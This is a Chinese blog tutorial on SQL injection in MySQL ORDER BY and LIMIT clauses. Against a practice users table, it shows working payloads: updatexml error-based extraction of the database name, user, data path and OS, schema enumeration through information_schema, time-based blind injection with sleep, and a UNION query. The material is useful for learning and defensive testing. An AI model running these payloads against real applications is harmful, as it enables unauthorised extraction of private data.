• order by注入与limit注入


    order by注入与limit注入

    什么是order by排序注入?

    当页面出现mysql报错信息时,注入点在 order by后面,此时可以利用报错信息进行注入。即可控的位置在order by 子句后面。

    如下图所示,这是正常的order by语句。

    mysql> select * from users order by id;
    +----+----------+------------+
    | id | username | password   |
    +----+----------+------------+
    |  1 | Dumb     | Dumb       |
    |  2 | Angelina | I-kill-you |
    |  3 | Dummy    | p@ssword   |
    |  4 | secure   | crappy     |
    |  5 | stupid   | stupidity  |
    |  6 | superman | genious    |
    |  7 | batman   | mob!le     |
    |  8 | admin    | admin      |
    |  9 | admin1   | admin1     |
    | 10 | admin2   | admin2     |
    | 11 | admin3   | admin3     |
    | 12 | dhakkan  | dumbo      |
    | 14 | admin4   | admin4     |
    +----+----------+------------+
    13 rows in set (0.00 sec)
    
    mysql> select * from users order by id desc;
    +----+----------+------------+
    | id | username | password   |
    +----+----------+------------+
    | 14 | admin4   | admin4     |
    | 12 | dhakkan  | dumbo      |
    | 11 | admin3   | admin3     |
    | 10 | admin2   | admin2     |
    |  9 | admin1   | admin1     |
    |  8 | admin    | admin      |
    |  7 | batman   | mob!le     |
    |  6 | superman | genious    |
    |  5 | stupid   | stupidity  |
    |  4 | secure   | crappy     |
    |  3 | Dummy    | p@ssword   |
    |  2 | Angelina | I-kill-you |
    |  1 | Dumb     | Dumb       |
    +----+----------+------------+
    13 rows in set (0.00 sec)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39

    order by 排序注入案例

    我们通过报错函数与order by相结合实现注入

    获取当前数据库名:

    select * from users order by id and(updatexml(1,concat(0x7e,(select database())),0));
    
    • 1

    image-20220811150326087

    获取当前数据库用户:

    select * from users order by id and(updatexml(1,concat(0x7e,(select user())),0));
    
    • 1

    image-20220811150644735

    获取连接数据库的用户名:

    select * from users order by id and(updatexml(1,concat(0x7e,(select session_user())),0));
    
    • 1

    image-20220811150944575

    获取当前数据库路径:

    select * from users order by id and(updatexml(1,concat(0x7e,(select @@datadir)),0));
    
    • 1

    image-20220811150629454

    获取数据库所使用的操作系统:

    select * from users order by id and(updatexml(1,concat(0x7e,(select @@version_compile_os)),0));
    
    • 1

    image-20220811150821425

    order by 结合limit获取数据库列表信息

    select * from users order by id and(updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),0));
    select * from users order by id and(updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 1,1)),0));
    select * from users order by id and(updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 2,1)),0));
    
    • 1
    • 2
    • 3

    image-20220811151520570

    因为group_concat()`批量查询输出结果长度有限制,不能超过32个字符,因此需要结合limit 一条一条获取,当然数据多的时候最好写个python脚本注入 。

    order by与盲注

    当页面没有展示MYSQL的错误信息时,且只能根据页面回显的状态进行判断时,可以使用布尔盲注也可以使用时间盲注

    以时间盲注为例:

    如下图所示表示基于时间的盲注

    select * from user order by if(1=1,1,sleep(1)); 
    上面这种情况就是为True,所以是正常时间回显
    select * from user order by if(1=2,1,sleep(1)); 
    这里返回的结果就是flase,所以他会有一个延迟的关系。
    
    • 1
    • 2
    • 3
    • 4

    image-20220811152647475

    由上图可以发现他们的时间是不同的,一个是判断为真是0.0 sec, 判断为假是13.10 sec

    order by 与 union 联合查询

    $query = "select * from users order by id $input ";没有使用括号包裹的时候,是无法直接使用union查询的。

    $query = "(select * from users order by id $input) ";使用括号进行包裹的时候,此时是可以进行union查询的。

    案例:

    (select * from users order by id ) union(select 1,(version()),3);
    
    • 1

    image-20220811152139874

  • 相关阅读:
    【LeetCode滑动窗口专题#2】无重复字符的最长子串
    回顾复习【矩阵分析】初等因子 和 矩阵的相似 || 由不变因子求初等因子 || 由初等因子和秩求Smith标准形(不变因子)
    SpringCloud的新闻资讯项目06 --- kafka及异步通知文章上下架
    redis I/O多路复用机制
    linuxbingc(多线程)
    速报|StarRocks亮相云栖大会,携手阿里云EMR 打造极速数据湖分析新体验
    人工神经网络及相关概念
    高级性能测试系列《26. 从mysql中查询出数据写入sqlite中,再从sqlite中查询出数据写入txt文件中。》...
    自定义Kotlin协程调度器
    Jmeter 分布式压测
  • 原文地址:https://blog.csdn.net/weixin_49472648/article/details/126286545